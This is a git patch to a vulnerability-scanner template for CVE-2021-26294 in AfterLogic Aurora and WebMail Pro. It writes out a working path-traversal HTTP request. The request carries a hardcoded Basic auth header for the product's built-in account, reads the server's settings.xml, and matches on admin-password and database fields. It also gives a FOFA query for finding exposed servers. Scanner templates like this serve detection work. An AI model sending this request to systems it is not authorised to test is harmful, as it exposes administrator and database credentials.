From cc559e6ac5cf867320cb0802c09b2a5a6ca3f6a9 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Sat, 25 Nov 2023 15:58:09 +0530
Subject: [PATCH] Update CVE-2021-26294.yaml

---
 http/cves/2021/CVE-2021-26294.yaml | 33 ++++++++++++++++++------------
 1 file changed, 20 insertions(+), 13 deletions(-)

diff --git a/http/cves/2021/CVE-2021-26294.yaml b/http/cves/2021/CVE-2021-26294.yaml
index 1f39dfc62d..142e1d9b70 100644
--- a/http/cves/2021/CVE-2021-26294.yaml
+++ b/http/cves/2021/CVE-2021-26294.yaml
@@ -1,10 +1,11 @@
 id: CVE-2021-26294
 
 info:
-  name: Exposure of sensitive information to an unauthorized actor with path traversal on AfterLogic Aurora & WebMail Pro WebDAV EndPoint
+  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure
   author: johnk3r
   severity: high
-  description: AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
+  description: |
+    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
   reference:
     - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
     - https://nvd.nist.gov/vuln/detail/CVE-2021-26294
@@ -16,28 +17,34 @@ info:
     cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
+    verified: true
+    fofa-query: "X-Server: AfterlogicDAVServer"
     vendor: AfterLogic
     product: AfterLogic Aurora & WebMail
-    fofa-query: "X-Server: AfterlogicDAVServer"
-  tags: cve,cve2021,AfterLogic
+  tags: cve,cve2021,afterlogic,exposure
 
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml"
-
-    headers:
-      Authorization: "Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI"
+  - raw:
+      - |
+        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI
 
     matchers-condition: and
     matchers:
       - type: word
+        part: body
         words:
-          - "AdminLogin"
-          - "DBHost"
-          - "ApiKey"
+          - "<AdminLogin>"
+          - "<AdminPassword>"
+          - "<DBHost>"
         condition: and
 
+      - type: word
+        part: header
+        words:
+          - "application/octet-stream"
+
       - type: status
         status:
           - 200